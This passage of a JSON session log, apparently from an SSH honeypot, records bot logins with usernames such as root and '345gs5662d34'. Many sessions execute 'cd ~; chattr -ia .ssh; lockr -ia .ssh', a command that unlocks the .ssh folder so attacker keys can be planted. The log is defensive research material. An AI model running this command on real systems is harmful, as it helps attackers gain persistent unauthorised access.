  "started_at": "2026-08-27T11:13:29.871005+00:00",
  "ended_at": "2026-08-27T11:13:31.280131+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4ce1b0fb-5f53-4d10-8e3e-dbd643796021",
  "name": "spirited-dewy-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58878,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 460,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:12:44.677709+00:00",
  "ended_at": "2026-08-27T11:12:45.956673+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2172
 },
 {
  "id": "bc08c389-0b0b-4a0c-ba5c-267a974b59cd",
  "name": "marine-solemn-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58902,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:12:27.626020+00:00",
  "ended_at": "2026-08-27T11:12:28.533211+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b89572d-4aea-4e52-8c77-e80185334624",
  "name": "watchful-glassy-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58886,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:12:25.803240+00:00",
  "ended_at": "2026-08-27T11:12:26.706170+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a04af3ce-123f-4997-8f7b-0701550677b7",
  "name": "coastal-wry-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 45448,
  "username": "zy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:11:54.590641+00:00",
  "ended_at": "2026-08-27T11:11:55.801473+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2108
 },
 {
  "id": "ef8261a0-b9f1-40a8-8aaa-a71dcf763e54",
  "name": "sleepy-bold-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 57204,
  "username": "zy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:11:39.214323+00:00",
  "ended_at": "2026-08-27T11:11:40.340220+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "18777761-7656-4084-9775-dd204fb71311",
  "name": "tender-snowy-serval",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 57190,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:11:37.011060+00:00",
  "ended_at": "2026-08-27T11:11:38.679862+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b2de2d6-4bc6-4bb3-a551-2b3ef1f221f4",
  "name": "serene-woven-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 59536,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 771,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:11:27.267098+00:00",
  "ended_at": "2026-08-27T11:11:28.802420+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "94ef0a1b-07e9-4edd-8e50-d9ec97a45efa",
  "name": "subtle-vivid-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 59574,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:11:05.667133+00:00",
  "ended_at": "2026-08-27T11:11:06.746650+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3de86b6e-799c-431b-862f-6981ba0a3488",
  "name": "coastal-cosmic-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 59566,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:11:03.311775+00:00",
  "ended_at": "2026-08-27T11:11:04.212056+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a220ef4d-9bf8-4bf3-b410-3e6e2c56c42c",
  "name": "boreal-vaulted-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58856,
  "username": "ymoreno",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 447,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:09:59.421924+00:00",
  "ended_at": "2026-08-27T11:10:00.922018+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2111
 },
 {
  "id": "d1b1c94f-b001-4553-89af-c3e4fe3bb98a",
  "name": "brazen-bashful-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 46148,
  "username": "user10",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:09:53.807461+00:00",
  "ended_at": "2026-08-27T11:09:56.028502+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2099
 },
 {
  "id": "23f71583-fd3f-4c90-a350-957b59147c58",
  "name": "mottled-lunar-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58876,
  "username": "ymoreno",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:09:42.405619+00:00",
  "ended_at": "2026-08-27T11:09:43.785649+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "18b65804-67ac-4e5c-8381-e8db53e5c4bf",
  "name": "weathered-kindly-peccary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 46170,
  "username": "user10",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:09:40.667808+00:00",
  "ended_at": "2026-08-27T11:09:41.424588+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1428ffa5-1f11-442a-b38e-9640352024fe",
  "name": "leafy-breezy-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58868,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:09:39.930450+00:00",
  "ended_at": "2026-08-27T11:09:41.500006+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e90a8fd4-784a-4d91-8f32-5ebd348d476d",
  "name": "stormy-golden-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 46156,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:09:38.865777+00:00",
  "ended_at": "2026-08-27T11:09:40.113277+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "952a6526-a6a7-456f-9045-e3ed0686f432",
  "name": "sterling-blithe-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 48948,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 771,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:08:37.479205+00:00",
  "ended_at": "2026-08-27T11:08:38.769725+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2148
 },
 {
  "id": "61cc2cb0-cd3f-4d54-8b2d-6b20b234ad6c",
  "name": "hearty-brazen-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 48970,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:08:15.104135+00:00",
  "ended_at": "2026-08-27T11:08:16.405636+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5260d862-5eab-4ae1-842e-ad0db2c60f40",
  "name": "jagged-craggy-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 48956,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:08:12.721238+00:00",
  "ended_at": "2026-08-27T11:08:13.593115+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b8acf46f-d88e-4167-b602-de532992d0f5",
  "name": "fearless-indigo-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 52358,
  "username": "u2",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:08:02.641859+00:00",
  "ended_at": "2026-08-27T11:08:04.185810+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2084
 },
 {
  "id": "17d397aa-7db2-4e42-ba16-97d9d803b67a",
  "name": "blazing-freckled-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 44514,
  "username": "u2",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:07:46.801864+00:00",
  "ended_at": "2026-08-27T11:07:48.452155+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0cadbc74-0c2a-470d-a258-71307fcd6798",
  "name": "amiable-umber-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 52364,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:07:44.837612+00:00",
  "ended_at": "2026-08-27T11:07:46.282533+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0bd93430-fa3f-493c-8f5e-ffa7719fcc05",
  "name": "sunlit-orderly-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58830,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 450,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:07:12.995333+00:00",
  "ended_at": "2026-08-27T11:07:13.977959+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2148
 },
 {
  "id": "ca3df42c-69c6-4a20-b9b8-9c9549da6a29",
  "name": "silent-oaken-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58846,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:06:55.182310+00:00",
  "ended_at": "2026-08-27T11:06:56.522048+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aeae9e55-3f75-4947-9557-c76ebc0ecced",
  "name": "prickly-orderly-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58832,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:06:52.766371+00:00",
  "ended_at": "2026-08-27T11:06:54.258699+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1a2b8542-1f42-4ca1-8cf9-960379fe54f9",
  "name": "candid-lucid-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 54274,
  "username": "omni",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:06:08.039876+00:00",
  "ended_at": "2026-08-27T11:06:09.411603+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2069
 },
 {
  "id": "80506c7e-4555-48a1-a38e-7501427931a4",
  "name": "vivid-coral-guanaco",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 54282,
  "username": "omni",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:05:53.013789+00:00",
  "ended_at": "2026-08-27T11:05:54.276353+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a1bc0c13-75b2-479a-afd3-e5dddaba2336",
  "name": "sunlit-wry-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 54278,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:05:50.524902+00:00",
  "ended_at": "2026-08-27T11:05:52.486386+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33ab2b22-eb26-47c3-88a8-dfa1c7ba5976",
  "name": "wry-woven-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58808,
  "username": "talha",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 444,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:04:33.095156+00:00",
  "ended_at": "2026-08-27T11:04:34.570908+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2083
 },
 {
  "id": "e55a5425-53b1-4040-9d4e-3fe62324749d",
  "name": "burly-sturdy-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 54118,
  "username": "dockeruser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 761,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:04:17.340805+00:00",
  "ended_at": "2026-08-27T11:04:18.702216+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2096
 },
 {
  "id": "0958f70f-68a0-48ee-8788-7bca91c14a79",
  "name": "somber-tender-goshawk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58824,
  "username": "talha",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:04:15.940112+00:00",
  "ended_at": "2026-08-27T11:04:17.149253+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "712ae0ce-f13d-4ea1-b6c9-fe74fcee3c07",
  "name": "oaken-hollow-jackdaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58810,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:04:13.665094+00:00",
  "ended_at": "2026-08-27T11:04:15.042741+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "46d56f95-b821-4afb-8d34-210d96db9b95",
  "name": "wandering-bitter-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 55534,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:03:57.440172+00:00",
  "ended_at": "2026-08-27T11:03:58.593009+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "4081f3d5-a414-4495-ae65-f35a97250d75",
  "name": "granite-crisp-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 54140,
  "username": "dockeruser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:03:55.604168+00:00",
  "ended_at": "2026-08-27T11:03:56.560351+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "14debfee-1922-4eb6-8473-260cc0925cc2",
  "name": "primal-crisp-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 54132,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:03:52.252862+00:00",
  "ended_at": "2026-08-27T11:03:53.516073+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b6aa8822-8e9a-476c-80ce-ec99ec61a300",
  "name": "drifting-eager-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 48602,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:03:46.210702+00:00",
  "ended_at": "2026-08-27T11:03:48.144430+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4be434ba-421a-4407-9622-8f18f36a83ab",
  "name": "russet-jaunty-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55536,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:03:44.641705+00:00",
  "ended_at": "2026-08-27T11:03:45.684885+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9598293c-4e4b-4588-8ea4-83ce83aaed8c",
  "name": "rugged-cobalt-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58780,
  "username": "manish",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 459,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:01:52.129387+00:00",
  "ended_at": "2026-08-27T11:01:53.090909+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2079
 },
 {
  "id": "5932f125-89d9-4bdf-b36a-1ec913c4ed94",
  "name": "cheerful-graceful-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 35232,
  "username": "rahim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 259,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:01:46.289962+00:00",
  "ended_at": "2026-08-27T11:01:46.840537+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2050
 },
 {
  "id": "c2f435b9-c33f-4961-a451-db8c4623b492",
  "name": "thawing-ruddy-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 35256,
  "username": "rahim",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:01:39.199102+00:00",
  "ended_at": "2026-08-27T11:01:40.673305+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b424b3d9-55b7-457c-ad65-e4b7a9717695",
  "name": "vernal-smoky-woodcock",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 35248,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:01:37.693872+00:00",
  "ended_at": "2026-08-27T11:01:38.658714+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "04ea648e-eb3a-4197-afa5-799e6ab971c2",
  "name": "obsidian-bitter-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 34330,
  "username": "marco",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 763,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:01:36.654589+00:00",
  "ended_at": "2026-08-27T11:01:38.022511+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2070
 },
 {
  "id": "7132667c-cc96-4658-b4c5-b385f2e63770",
  "name": "chilly-wistful-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58806,
  "username": "manish",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:01:35.896209+00:00",
  "ended_at": "2026-08-27T11:01:36.562066+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ad2df6b-5c3d-4806-bb92-c35fd0c0088d",
  "name": "upland-civil-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58796,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:01:34.097243+00:00",
  "ended_at": "2026-08-27T11:01:35.015055+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "67585d9f-a9fe-4a92-bcb2-d7a3e5d5d9e1",
  "name": "inland-lonesome-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 34352,
  "username": "marco",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:01:15.395243+00:00",
  "ended_at": "2026-08-27T11:01:16.849017+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c336ecb6-233c-4676-b17a-83c4be1f8095",
  "name": "placid-jagged-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 34344,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:01:12.404492+00:00",
  "ended_at": "2026-08-27T11:01:13.855663+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "77608f33-c01d-44ce-bba6-fec8bce21a5a",
  "name": "dutiful-tranquil-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 58746,
  "username": "sftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 455,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:59:12.587881+00:00",
  "ended_at": "2026-08-27T10:59:14.024809+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2068
 },
 {
  "id": "5f489023-1027-4c61-b7d2-92cb12f9752c",
  "name": "subtle-peaty-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 53066,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 743,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T10:59:04.382355+00:00",
  "ended_at": "2026-08-27T10:59:05.668772+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "82481a4e-058d-419a-af81-90f806e8139a",
  "name": "brisk-early-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58768,
  "username": "sftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:58:59.457266+00:00",
  "ended_at": "2026-08-27T10:59:01.362318+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "557b0c36-81c6-4916-92d1-87f516629b9b",
  "name": "fleeting-knotted-skylark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 58756,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
